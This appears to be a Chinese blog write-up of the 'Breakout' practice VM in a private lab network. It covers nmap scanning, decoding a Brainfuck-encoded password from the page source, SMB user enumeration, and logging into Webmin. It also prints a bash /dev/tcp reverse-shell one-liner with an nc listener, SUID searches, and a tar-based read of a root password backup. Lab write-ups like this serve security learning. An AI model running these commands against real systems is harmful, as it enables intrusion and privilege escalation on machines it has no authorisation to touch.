Breakout靶场渗透实例

基础知识

1. Brainfuck
它是一种极为小巧的编程语言,它仅包含8种命令,被认为是计算机科学教育中的一种实验性编程语言。Brainfuck的指令集合非常简单,只包含八个字符:“>”, “<”, “+”, “-”, “.”, “,”, “[”, “]”。Brainfuck 的语法非常清晰简单,通过嵌套使用上述八个字符,可以构建出各种算法和计算。由于它的指令集极其简单,因此 Brainfuck 通常被用作编程教育中的语言,而不是用于实际的项目开发。需要注意的是,由于 Brainfuck 的语法和编程风格都非常独特,因此需要花费一定的时间和精力来学习和理解它。同时,由于 Brainfuck 在实际开发中的使用极不便利,在实际编程项目中存在一些缺陷和不适用之处。

2. SMB协议
SMB协议或者称Server Message Block协议,是用于在共享网络资源之间进行文件和打印机共享的协议。SMB协议通过网络实现文件和打印机的共享,让用户可以在局域网上通过其他计算机访问指定计算机上的共享文件和打印机等资源。SMB协议对共享文件和打印机的访问进行授权,可以根据用户的身份、访问的权限指定允许访问的内容,能够保证文件和打印资源的安全性。

3. SMB协议常见漏洞

  1. SMB1.0远程执行代码漏洞:SMBv1协议已经被证明存在许多风险,如CVE-2017-0143、CVE-2017-0144和CVE-2017-0145等远程执行代码漏洞,攻击者可以利用这些漏洞绕过系统的安全性限制并执行恶意代码,从而可以控制系统或者获取敏感数据。
  2. SMB远程拒绝服务漏洞:SMB协议有一些远程拒绝服务漏洞,如CVE-2017-0146和CVE-2017-0147等,攻击者通过向目标系统发送特定的SMB请求,导致目标系统崩溃或者不响应。
  3. SMB文件共享漏洞:SMB协议的文件和打印机共享功能可能面临安全性挑战。攻击者可以利用SMB漏洞绕过系统的身份验证限制,并获取文件和打印机共享的访问权限,攻击者还可能通过修改文件名或者上传恶意文件来破坏系统。

4. Webmin是一款基于Web的系统管理工具,适用于管理Linux、Unix和window等操作系统上的系统服务和应用程序。Webmin的界面友好、易于使用,可以通过Web界面管理系统配置、软件报、网络设置、用户账号和安全等方面的任务,而无需登录到系统的命令行界面。Webmin提供了一系列的模块和插件,包括Apache、MYSQL、Samba、NFS、DNS、DHCP、FTP、SSH和SSL等服务,从而为管理员提供更加丰富的管理功能。

渗透流程

靶机下载地址
kali:10.10.10.128
靶机:10.10.10.142

1. 主机发现

arp-scan 10.10.10.0/24

img

2. 服务探测

nmap -sS -sV -p- -T 4 -A 10.10.10.142

img

3. 进行目录破解
img
img
反正最后什么都没有扫描出来(扫描工具:dirb、diesearch、御剑、gobuster、dirbuster 等等),那就查看查看网页源代码看看有什么东西呗!

4. 浏览器简单浏览一下目标网页
img
img
img
在浏览时,使用http协议时10000、20000端口报错,使用https协议才能正常服务,下图是使用http浏览的效果。
img
img
从提示来看,加了SSL协议(使用nmap没有扫描出443端口,莫非隐藏了!!!知道的大佬教一下!)

这里有两个登录框,本能就告诉我一定有SQL注入漏洞,那就想手动试试看。
img
img
哦哦!!可能不存在SQL注入漏洞。

那就源代码看看,有没有什么!
img
发现有好玩意,看不懂,网网看,说是什么brainfuck,那就使用https://tool.bugku.com/brainfuck破解一下:
img
img
破解出来是:.2uqPEfj3D<P'a-3,结合以往的思路,应该还有一个账号可以找到,根据nmap扫描出来的信息知道该靶机上运行SMB协议,那就看看能不能枚举出用户来:使用Enum4linux

enum4linux 10.10.10.142

img

目前收集到的信息:
账号:cyber
密码:.2uqPEfj3D<P'a-3

不是有两个登录框嘛!那就去试试看,发现20000端口登录成功!!!
img
既然进去了,明确思路:那下一步就要getshell,先看看有没有文上传或者写木马文件的可能性,没有发现(英语不好,所以也可能有)。
img
辗转反侧、翻来覆去想的还是你,寻寻觅觅、凄凄惨惨戚戚还是你最亲亲,最后还是找到你。
img
拿到第一个flag,看看权限。确定下一步骤:提取
那就先反弹shell,否则就没有提取那味了!
在web终端输入:

bash -i &> /dev/tcp/10.10.10.128/5555 0>&1

在kali终端输入:

nc -lvnp 5555

img

首先还是老方法:
1. 查看SUID
2. 上传提权检测脚本
3. sudo提权
4. 查看敏感目录

建议先查看敏感目录,看看有没有金屋藏娇

find / -perm -4000 2>/dev/null
或者
find / -perm -u=s -type f 2>/dev/null

img
没有可疑文件,方法一失败!!!
使用方法二,发现上传的脚本不能运行,失败!!!!

怎么办,剪不断、理还乱。想了一会,那不是在/home/cyber发现一个文件是user.txt,另外一个是tar,其中user.txt是flag。查看一下tar文件属性、权限等等,看看它是什么东西。
img
发现有执行权限,那肯定能用到!!!在看看在/var目录下有什么不一样的文件:
img
img
然后呢?就按网上的来呗,关键我是真不知道getcap依照我个人觉得既然给出的tar有执行权限,那么把.old_pass.bak压缩然后用系统自带的tar就可以将属主、用户组改为当前用户,然后就可以查看它的内容了!!不知道对不对。
img
img
然后切换到root用户:
img

总结:

  1. 自己太笨!!!
  2. 耐心!!!
  3. 练习!!!
  4. 对新知识的要多看!!
posted @ 2023-05-12 15:22  kalixcn  阅读(144)  评论(0编辑  收藏  举报